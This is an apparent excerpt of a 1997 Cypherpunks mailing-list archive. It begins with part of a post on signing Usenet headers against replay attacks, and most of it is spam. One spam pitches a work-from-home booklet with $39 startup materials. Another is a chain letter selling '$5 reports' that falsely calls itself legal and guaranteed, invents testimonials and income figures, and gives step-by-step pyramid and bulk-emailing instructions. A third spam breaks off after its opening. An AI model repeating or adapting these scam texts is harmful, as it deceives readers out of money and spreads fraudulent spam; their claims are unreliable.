to be wary of anything coming out of Qualcomm - like their Eudora mail reader.

> This could be modified for general cancels but would then involve PGPMoose
> having access to every authors Public Key.

A program that would search the news for articles that purport to be from
people who requested this service (and may be paying for it), verifying
their digital signatures, and issuing "hide" NoCeMs for the ones that fail
this check (possible forgeries) would be a good thing indeed and would
encurage the use of digital signatures.

As I pointed out before on the Cypherpunks list, signing only the body of
the article leaves one open to replay attacks: a forger can repost the
same signed article with new message-id and possible in new newsgroups.
Therefore at least both of these header fields need to be signed.

Perhaps the folks who participate in Brad Templeton's "son-of-rfc1036"
mailing list would like to propose a generaliaztion of the new headers
used by pgpmoose to sign the headers of an article together with it body.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 09188466@hydra.com.au
Date: Sat, 9 Aug 1997 13:43:11 -0700 (PDT)
To: Friend@public.com
Subject: INTERNATIONAL COMPANY SEEKS HELP!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Hello!

We are a multi-billion dollar per year international company that is looking for serious, teachable, motivated people who want to start a business from their home.  We are not looking for people who are unemployed and looking for a job.  We need people who want to spend time with their families while making a substantial amount of money. If this describes you, please read on!

Take a few minutes to read the following booklet very carefully right now.  This booklet has been extraordinarily successful in both direct mail and e-mail form and has absolutely been the answer to many peoples' dream of freedom to work around their families/children, AND having complete control over their lifestyle and income.  All you need to do to begin is carefully read the information and follow the instructions.

This is a Direct Marketing program that will have interested people contacting you.  You do not need any special schooling; training is provided and no experience is necessary.  If you are teachable and motivated and would like to earn income from home, then we want to get you started TODAY.

Unlike most Work-at-Home "opportunities", this is not envelope stuffing or home assembly where the work is hard and the compensation is low.  This is a very lucrative business opportunity that has allowed me to almost double my income in the last year!

It is very important that you read the booklet thoroughly so that you may begin the training on how this program works.  It will describe the smart way to make money and keep it.  After reading the booklet, there will be a phone number for you to call that will put you into a short recording that will ask you to leave your name and address in order to receive our startup materials which you will have 30 days to inspect.  The materials cost only $39.00 and are fully guaranteed to be exactly what you are looking for or your money is refunded.

PLEASE NOTE: Because of our tremendous success and the overwhelming response to our advertising, we can afford to be picky about who we choose to work with to make a lot of money - for this reason, you are going through this screening process of reading the book and calling the number.  Many people who are just "tire-kickers" will not get that far - this is exactly what we want.  By the time you call and order the startup information, we will know that you are one of the serious ones who ARE teachable and motivated.  It is you that we want, not the people who get screened out because they are lazy or not teachable enough to follow these simple instructions.

I can only encourage you with all my heart to not get screened out!  You are sitting on a gold mine as you read this letter.  After you follow the instructions in the booklet, you will be put in contact with a local person to help you and guide you through your new way of life.  This person will help you start your new, exciting future!

Sincerely,


M. Bishop












                     WORK FORM HOME E-MAIL BOOKLET

WORK FROM HOME!!

TAP INTO A $427 BILLION DOLLAR INDUSTRY THAT WANTS YOU!

LET US SHOW YOU HOW!

IMAGINE ... YOUR FUTURE ...

You live in the home of your dreams
You drive the car of your dreams
You experience the vacation of your dreams, with your family
You love what you do every day ...
You are happy ...

WE CAN TAKE YOU THERE!!

Dear Friend,

Have you ever driven by a mansion and wondered how somebody could possibly afford to live there, and not be doing something illegal? Or seen people having a leisurely lunch at a lavish restaurant as you rush back to work after eating fast food?  How can people living in the same country, with the same education, and the same skills, be living such different lives?  

Many of us try to live a little better by using finance companies to buy things we couldn't otherwise afford.  I had a real eye-opening experience when I bought some furniture.  The salesman told me it was "90 days same as cash".  When it didn't look like I could pay the money back in 90 days, they told me it was no problem, I could make payments.  Then I read the fine print and almost fell over when I realized they were going to charge me 29% interest!

Another sad fact is he percentage of money saved or invested in our country.  We rank last in the western world in terms of money in savings, and first in terms of credit card debt. Think of what would happen if anything happened to you, and your family had to take on your financial situation right now.  If you think you are safe with the credit card protection offered by the card companies, read the fine print.  They only pay the minimum each month which again only covers the interest!  The finance companies win again. 

DID YOU SAVE $12,000 LAST YEAR?  $1200?  $120?  ANY?

How much will you have saved in the next five years?  If things don't drastically change, you can double your last five years savings amount and you will have your answer.  For most people, that is not a pleasant prospect.  But say you are one of the lucky people who have some savings, and you look forward to living off the interest in retirement, well!!..

WHAT ABOUT RETIREMENT?

Did you know that it takes a bank account of over $250,000 earning at least 5% interest to provide a monthly income of about $1,150?  That is roughly the welfare allowance of a single mother of four!  When do you think you'll have your $250,000 in the bank?  And in 10 to 20 years will you pay the electric bill or the phone bill with $1,150 per month?  If this sounds drastic, the reality is even worse.  What about the medical bill emergencies that may pop up?  They usually become more frequent as you get older.

What to people do?  Do you want the truth?  95% die broke after working 40 years.  U.S. NEWS & WORLD REPORT wrote, "Many people will need to keep earning a paycheck into their 70s!  It's too late for them to save enough to quit working at 65."

Consider this.  The Bureau of Labor Statistics revealed that out of 100 people who start working at age 25, by the age of 65 ...
   
* 1% Are wealthy
* 4% Have adequate capital for retirement
* 3% Are still working
* 63% Are dependent on Social Security, friends, relatives or charity
* 29% are dead

How does $40,000 per year sound?  If you wish to retire with this income, it would take $1.9 Million in tax-deferred accounts to provide that income if a 35-year-old today would retire at age 65!! That means you would have to be able to save $3,333.33 PER MONTH starting now!  Can you possibly save that kind of money with your current income?  And imagine what $40,000 will be worth in 30 years.  That income would probably keep you at poverty level in the year 2027.

SO WHAT'S THE ANSWER?

The answer is usually simpler than you might think.  Unless you inherited a large sum of money or hit the lottery, people with an above average lifestyle usually work for themselves!  Here is the breakdown of who controls the most percentage of wealth in America ...

* 74%  PEOPLE WHO OWN THEIR OWN BUSINESS
* 10% Top executives and CEOs
* 10% Professionals like doctors and lawyers
* 5% Sales People
* 1% Everyone else!

Those figures used to make me mad because I used to be in the 1% category!  I worked as hard as I could for 40-60 hours per week and all I did was make someone else more money.  Then I looked at the percentage of taxes I was paying, and I realized it was higher than the percentage others paid who were making ten times what I was!  The reason was I couldn't write anything off if I worked for someone else.  ALL my income was taxable.
 
I soon understood that the laws and the odds in America favored those who ran their own businesses.  My first problem was, I had no business training or experience, and secondly I was broke! At that time in my life the only job I had held was as an electrician and my wife Candace's experience came from being a secretary in the construction business.  My confidence level to make a change in my life was zero.  On the positive side, I was mad about how unfair it all seemed.  This anger finally got me into ACTION when the right opportunity presented itself.

I GET MY CHANCE!

My life changed when a friend of mine shared the information you are getting in this booklet.  What he presented to me was a turnkey work-at-home business that I could start with the skills and money I had, and have immediate success, so I was encouraged to continue.  With the power of our advertising and mail-order system, I didn't even have to know anybody in my local area!  In the first month, I earned $1,735.60 profit part-time from my home.  By my eleventh month I made over $10,000 a month, and now for five years my income working from home has been steady and is currently over $25,000 PER MONTH!

At this point you might think, "Oh, this can't be true - all of these things are a scam" or "These things only happen to other people."  Well I'm here to tell you not only am I one of those "other" people, but I have trained many of those other people who are now living the life of their dreams.  Many of them have EXACTLY YOUR background.

YOU CAN DO THIS!  THE SECRET IS OUR SYSTEM

The key to our success lies in our SYSTEM.  As I said before, this is a turnkey work-from-home mail order system.  Our system provides goods and services to people who are searching for exactly what we have.  The mail order business is a 427 billion dollar a year industry, and all forms of direct sales are predicted to double in the next 5 - 7 years!  The growth potential is unlimited!

What allowed me to be earning $10,000 A MONTH INCOME IN 11 MONTHS was the good fortune I had in finding suppliers who would sell me products that were in high demand, and training in this system step-by-step so even I could understand it!  These TRADE SECRETS are what we are willing to pass on to you.  What is required from you is the burning desire to make some changes in your life, and a willingness to be teachable.

SUCCESS TAKES EFFORT

Now if you are looking for some get-rich-quick scheme that guarantees all the money you can dream of with no effort, I'm sorry to tell you this is the real world where those promises usually end up getting you in trouble one way or another.  However, if you are like I was and are used to an honest day's work but aren't used to a generous day's pay, this MIGHT be for you.  I say "might" because not everybody who wishes for success has the determination to stick to a plan of action until they are a success.  That is why so many Americans accept a small paycheck from someone who is willing to organize themselves!  When you cash a mediocre paycheck you are in effect agreeing, when you endorse the check, that your time and labor are only worth that small amount.

What I learned from this experience is that contrary to what we have all been taught, the money you make in life has nothing to do with fairness, hard work, formal education, or years on the job.  What does increase your ability to earn above average money is the ability to adapt to a different direction when the road you are on is not leading you to your desired destination.  Why continue in frustration doing the same things over and over again when they have never produced results for you in the past?  Wouldn't it be better to try something new than to keep hitting your head on the same brick wall over and over?  The quality I observed in truly successful people is that they have the ability to adapt.  They spend 5% of their time identifying the problems they face, and 95% of their time finding solutions.  Most of us have the equation backwards.  We spend 95% of our time complaining about our problems while 5% of our energy, if we are lucky, is spent on finding new solutions!
!

So what are our options?  If you listen very hard you might hear the sound of some people throwing these pages in the garbage.  The result is that they may continue making the same decisions that led them to the dead end they find themselves in today.  Some of these are wonderful people, but they just don't have the ability to adapt and change.  You might call this the dinosaur mentality that leads to the extinction of the realization of their hopes and dreams.

The other option is to follow a proven method of change that may be new and challenging in the beginning, but has the ability to produce the results that you wish for your life.

LET'S START NOW

If this would work for you, what would you use the extra money and freedom of time for?  I suggest you take the time right now to make a "Dream" list.  If money wasn't an obstacle, what would you do in your life?  Allow yourself to dream the "impossible" and write it down.  If you are one of the small percentage of people who took the time to actually do this, congratulations!  You just took an important first step toward changing your life.  Many people who didn't, or stopped reading this book long ago were screened out and their options are no better than when they received this material.

Think of it this way - when you were a child you could dream about how you wanted your life to turn out easily, couldn't you?  Then as you experienced life most of us have been beaten up pretty badly at certain points.  The result is that many people stopped allowing themselves to DREAM.  They became afraid to be disappointed yet again.

What helped me was associating with people who ARE a success, and allowing their successful habits and thinking to influence me.  But one step further than this was to actually have those people help me start my own business.  I also had them available as a resource to help me refine my efforts so I was working smarter not harder!  You may obtain useful information from reading self-help books, but try to get the author of those books to actually help you build your business.  With our system, you are never just on your own!

FOLLOW THROUGH MAKES DREAMS A REALITY

Now, the next part of making your dreams a reality is to FOLLOW THROUGH with directed activity that can create the situation you want in your life.  You can do that when you finish reading this book by phoning the number you will find at the end of this letter.  Again, the people who do can take further steps towards a better future, while the rest are screened out.  But if you've followed along this far, you ALREADY TOOK your first steps, and now you can use that momentum to get you to your goals!

Let me tell you about some people I have had the pleasure of working with, and how they have used this system for themselves ...

MINDY

Mindy is a single mom who was a real estate broker.  She made great money but she was burnt out and tired of assuming the personal liability for what others did.  She used to cry many times at night because the burn-out led to both professional and personal problems that devastated her financially.  She didn't know how to do anything else that would allow her to earn a decent living and still be involved with her son's schooling and daily activities.

At that time in her life Mindy responded to some information similar to what you are reading.  At first she hesitated, but her anxiety and frustration pushed her to leave "no stone unturned" in her pursuit to build a better future for her family and ease the financial pressures.  She followed all the instructions she received and by the end of the first month she had earned $4,500.  In less than one year her monthly income was over $8,000 a month.  Today she earns $12,000 to $15,000 consistently each month and is free from the stresses she had been under.  Working at home, Mindy can now spend as much time as she wishes with her family.

JACK AND JEAN

Jack and Jean live in North Dakota and are close to retiring.  Jack works for the railroad and Jean works for the government in a program that provides subsidies for farmers.  As is the case with most people retiring, their pension income won't provide the lifestyle they dreamed of throughout their careers.  Also, Jack's health wasn't great and he wanted something constructive to work on after his retirement.  But they didn't want something so time-consuming that they couldn't enjoy themselves or take frequent vacations.

They found their answer in this little booklet!  Their first month they earned $1,243 and by their third month, they were earning over $1,600 per month consistently - that's over $400 per week PART TIME!  By their eleventh month our system was generating another $350 per month residual income for Jack and Jean.  The extra $350 is mailbox money - that is money that comes automatically as a result of business built in the past!  As a part of our system, there is a retirement program built right in.  As a matter of fact, I retired myself for one year, and currently I am only 42 years old!

BOB

That's me!  Yes, after 11 months I was earning $10,000 per month income - now it's over $25,000 per month and I retired for a year.  Sounds unbelievable?  I sometimes have a hard time believing it myself!  And it happened to me!  I also traveled to Europe and several Caribbean islands for extended periods of time, and now live by a beautiful lake in Orange County, California.  With our system, you can also expand your business around the world and be one of the people doing business in many countries as they open up for trade with the U.S.  Remember the old saying, "Choose a job that you love and you will never have to work a day in your life."  You will have more fun and satisfaction in this adventure than you can imagine.

YOU MUST DECIDE

Now is the time for you to decide about your future.  Are you going to continue down the same road you have been traveling?  Or are you willing to make a positive change in your life by trying something new?  Remember, "For things to change in your life you've got to change, for things to get better you've got to get better." - Jim Rohn

You have to make the decision to take the next step.  You have already gone so far in completing this book, why not allow yourself the things you want out of life by following through with a phone call?  What do you have to lose?  More importantly, what do you have to gain?  Opportunity ignored seldom returns again.  Don't let your dream lifestyle pass you by like millions of others who will have to go to work tomorrow with no hope of ever achieving what they truly desire, and retire to old age, poor health, and a feeling that they somehow missed something incredible in their lives!

All it takes is a simple phone call.  With a little effort and the ability to be teachable, we can definitely show you how to be successful with our system.  You will have a personal mentor who will work with you step by step, and show you exactly how you too can build a successful home-based business without unacceptable risks.

Who knows, maybe someday you will be sharing the secrets of how you built an incredible lifestyle with those who are still just - WORKING for a living!

I look forward to hearing from you and working with you personally.

Sincerely, Bob Anderson


WOULD YOU LIKE TO RECEIVE CHECKS LIKE THESE IN YOUR MAILBOX?

* 12/15/96 -- $12,429.35 (royalties)
* 12/20/96 -- $13,406.77 (bonuses)
* 01/15/96 -- $12,292.15 (royalties)
* 01/20/96 -- $13,702.09 (bonuses)

"THOUGHTS DETERMINE WHAT YOU WANT ...

ACTION DETERMINES WHAT YOU GET!"

MAKES YOUR DREAMS REALITY

CALL:  1-801-350-8718

(P.S. - for payment, the "name on the book" that the recording refers to is Michael Bishop.  This name appears on the postal direct mail version.)

</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wayne64@workload.com
Date: Sat, 9 Aug 1997 20:12:31 -0700 (PDT)
To: 5666@d564390.comcom
Subject: Live Enteractive Adult Entertainment
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#00ffff">

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Money@Eaglequest.Com
Date: Fri, 15 Aug 1997 22:06:29 -0700 (PDT)
To: Money@Eaglequest.Com
Subject: ** Financial Freedom **
Message-ID: <1997021070025.GAA0/056@Eaglequest.Com>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
You Do not want toTrash This one !!!!!
Read This Twice!!!!!

Please accept my apology if this were sent to you in error!

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You could make at least $50,000 - In less than 90 days Read the enclosed program . . . THEN READ IT AGAIN! ...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

Dear Friend,

The enclosed information is something I almost let slip through my fingers.  Fortunately, sometime later I reread everything and gave some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I worked at for the past twelve years downsized and they eliminated my position.  After unproductive job interviews,  I decided to open my own business.  Over the past year, I incurred many unforeseen financial
problems.  I owed my family, friends, and creditors more than $35,000.  The economy was taking a toll on my business and I just could not seem to make ends meet.  I had to refinance and borrow against my home to support my family and struggling business.  I truly believe it was
wrong for me to be in debt like this.  AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER . . . FINANCIALLY!!!

In mid-December, I received this program via email.  Six months before receiving this program I had been sending away for information on various business opportunities.  All of the programs I received, in my opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk seeing if they worked or not.  One claimed I had made a million dollars in one year . . . it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '92 I received this program.  I did not send for it, or ask for it, they just got my name off a mailing list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to make sure I was reading it correctly, I could not believe my eyes.  Here was a MONEY MAKING PHENOMENON.  I could invest as much as I wanted to start, without putting me further in debt.  After I got a pencil and paper and figured it out, I would at least get my money back.  After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT."

Initially I sent out 10,000 emails.  It only cost me about $15.00 for my time on-line.  The great thing about email is that I did not need any money for printing to send out the program, only the cost to fulfill my orders.  I am telling you like it is, I hope it does not turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me! . 

In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1.  When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DO NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 days was done.  By January 30th, I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
96 more than I needed.  So I sat back and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please take time to read the attached program.  It WILL CHANGE YOUR LIFE FOREVER! Remember,  it will not work  if you do not try it.  This program does work, but you must follow it EXACTLY!  Especially the rules of not trying to place your name in a different place.  It doesn't work, you'll lose out
on a  lot  of  money!  REPORT  #2  explains this.  Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for REPORT #2.  You will make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS!!!

If you choose not to participate in this program, I am sorry.  It really is a great opportunity with little cost or risk to you.  If you choose to participate, follow the program and you will be on your way to financial security.

If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,500) look like piled up on a kitchen table? It is AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later wondered if I should not have given it a try.  Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program.  Eleven months passed, then it came.  I DID NOT throw this one away.  I made $41,000 on the first try." 
                                        Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, remember, Alan, there is no free lunch in life.  You get out of life what you put into it.'  Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well.  I just had to find the right target group of people to email it to.  So far this year, I have made over $63,000 using this program.  I know my dad would have been very proud of me."
                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program,  and  one that is legal,  could not have been created by an amateur. 

Let me tell you a little about myself.  I had a profitable business for ten years.  Then in 1979 my business began falling off.  I was doing the same things that were previously successful for me, but it was not working.  Finally, I figured it out.  It was not me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945.  I do not have to tell you what happened to the unemployment rate . . . because many of you know from first hand experience. There were more failures and bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  The traditional methods of making money will never allow you
to "move up" or "get rich," inflation will see to that.

You have just received information that can give you FINANCIAL FREEDOM for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT."  You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program.  I have already made more than FOUR MILLION DOLLARS!  I have retired from the program after sending out more than 16,000 programs.  Now I have several offices that market this and several other programs here in the US and overseas.  By Spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE. 

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works exceedingly well as it is now.  Remember to email a copy of this exciting program to everyone that you can think of.  One of the people you send this to may send out 50,000 . . . and your name will be on every one of them! .  Remember though, the more you send out, the more potential customers you will reach. 

So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what could happen when YOU participate.  Figure out the worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested.  Any doubts you have will vanish when your first orders come in.  IT WORKS!
                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let us say that you decide to start small, just to see how it goes.  We will assume you and all those involved send out 2,000 programs each. Let us also assume that the mailing receives a .5% response.  Using a good list, the response could be much  better.  Also, many people will send out hundreds of thousands of programs instead of 2,000.  Nevertheless, continuing with this example, you send out only 2,000 programs.  With a 5% response, that is only 10 orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs each for a total of 20,000.  Out of those .5%, 100 people respond and order REPORT #2.  Those 100 email out 2,000 programs each for a total of 200,000.  The .5% response to that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a total of 2,000,000. The .5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!! Your total income in the example is $50 + $ 500 + $ 5,000 + $ 50,000 for!
!
 a total of $55,000!!! 

REMEMBER FRIEND, THIS IS ASSUMING 1,900 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR JUST 1/2 SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000. Believe me, many people will do that and more! By the way, your cost to participate is practically nothing if you follow the program as it is outlined. You obviously already have an internet connection and email is FREE!!! REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. 

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come into contact with people, do any hard work, and best of all, you never have to leave the house except to get your mail. If you believe that someday you will get that big break that you have been waiting for, THIS IS IT! Simply follow the instructions, and your dream will come true. This multi-level email order marketing program works perfectly... 100% EVERY TIME. Email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!! The longer you wait, the more people will be doing business using email. Get your piece of the pie!!! 

MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold byMulti-Level methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the USA, 20% (100,000) made their fortune in the last several years in the MLM industry. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing. 
This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home or office.

This is the GREATEST Multi-Level Mail Order Marketing anywhere:

Step (1) Order all four (4) REPORTS listed by NAME AND NUMBER. Do this by ordering the REPORT from each of the four (4) names listed on the next page. For each REPORT, send $5.00 cash and a SELF-ADDRESSED STAMPED ENVELOPE (BUSINESS SIZE # 10) to the person listed on that SPECIFIC REPORT. International orders should also include $1.00 extra for postage. It is essential that you specify the NAME and NUMBER of the REPORT requested tp the person you are ordering from. You will need ALL FOUR (4) REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same day service on all orders.

Step (2) Replace the name and address under REPORT #1 with your name, moving the one that was there down to REPORT #2. Drop the name and address under REPORT #2 TO REPORT #3, moving the one that was there to REPORT #4. The name and address that was under REPORT #4 is dropped from the list, and this party is no doubt on the way to the bank. When doing this make certain you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING THE PRODUCT OR REPORT POSITIONS!!! 

Step (3) Having made the required changes in the NAME list, save it as a text (txt) file in it's own directory to be used with whatever email program you like. Again, REPORT #3 will tell you the best methods of BULK EMAILING and acquiring email lists.

Step (4) Email a copy of the entire (all of this is very important) to everyone whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous money-making opportunity. That's what I did. And they love me now, more than ever. Then email to anyone and everyone! Use your imagination! You can get email addresses from companies on the internet who specialize in email lists. Thes are very cheap, 
100,000 addresses for around $35.00

IMPORTANT: You won't get a good response if you use an old list, so always request a FRESH, NEW LIST. You will find out where to purchase these lists when you order the four (4) REPORTS. 


ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

*** Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF ADDRESSED, STAMPED ENVELOPE AND $5.00 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER!!! 
______________________________________________________________________________
REPORT # 1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM;

Bawkon Development Co.
P.O. Box 180654
Utica, MI 48318-0654
______________________________________________________________________________
REPORT # 2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT # 2 FROM:

Associated Business Connections
P.O. Box 643
New Albany, OH 43054-0643
______________________________________________________________________________REPORT # 3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT # 3 FROM:

Kay James
P.O. Box 33209
Denver, CO 80233-0209
______________________________________________________________________________REPORT # 4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT # 4 FROM:

Super Growth Group 
P.O. Box 9006
Gaithersburg, MD 20898-9006
______________________________________________________________________________
CONCLUSION
 
I am enjoying my fortune that I made by sending out this program. You too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial decisions as never before.  Go into business, get into investments, retire or take a vacation.  No longer will a lack of money hold you back.

However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it.  It is much easier to say "NO" than "YES", and this is the question that you must answer.  Will YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will change.  Please re-read this material, this is a special opportunity. If you have any questions, please feel free to write to the sender of this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5.00 that costs me pennies to produce and email.  I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam.  At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever!  Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise.  As you learned from the enclosed material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost of about 5 cents a copy. Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my mind to participate in this program.  But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back.  BOY,
was I ever surprised when I found my medium sized post office box crammed with orders!  I will make more money this year than any ten years of my life before."

                                        Mary Riceland, Lansing, MI



TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the orders start coming in.  When you receive a order, you MUST send out the product/service to comply with US Postal and Lottery laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.      Name your new company. You can use your own name if you desire.

2.      Get a post office box (preferred).

3.      Edit the names and addresses on the program. You must remember, your name and address           go next to REPORT # 1, and all the others move dowb\n one, with the fourth one being                 bumped OFF the list. 

4.      Obtain as many email addresses as possible to send until you  receive the information on               mailing list companies in REPORT #3.

5.      Decide on the number of programs you intend to send out.  The  more you send, and the                quicker you send them, the more money you will make.

6.      After mailing the programs, get ready to fill the orders.

7.      Copy the four 4 REPORTS so you are able to send them out as soon as you receive an                    order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ALL THE                    ORDERS YOU RECEIVE!

8.      Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within two weeks, email out more programs until you do.  Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back and  relax,  because  YOU  COULD  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee. Of  those  who  have participated in the program and reached the above GUARANTEES-ALL have reached their $50,000 goal. Also, remember, everytime your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING." "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE."
 





















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aan322b@aol.com
Date: Sat, 9 Aug 1997 22:45:10 -0700 (PDT)
To: OnlineFriends@internet.world
Subject: This Is Working!!!!Now!!
Message-ID: <667093365411.Gv33t5@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
From:aan322b@aol.co

Dear Friend,

The following opportunity is one you may be interested in taking a look at. 
It can be started with  MINIMAL OUTLAY and the income return is Tremendous!


                             "The computer what an amazing machine"....



You are about to make at least $50,000- in less than 90 days
Please read the enclosed program then read it again.

You are looking at the most amazing program you have ever seen! I received
this E-Mail at least 2 times read it and deleted it. The third time I received it....
I knew I had to give this a chance. I was right. THIS IS WORKING NOW!

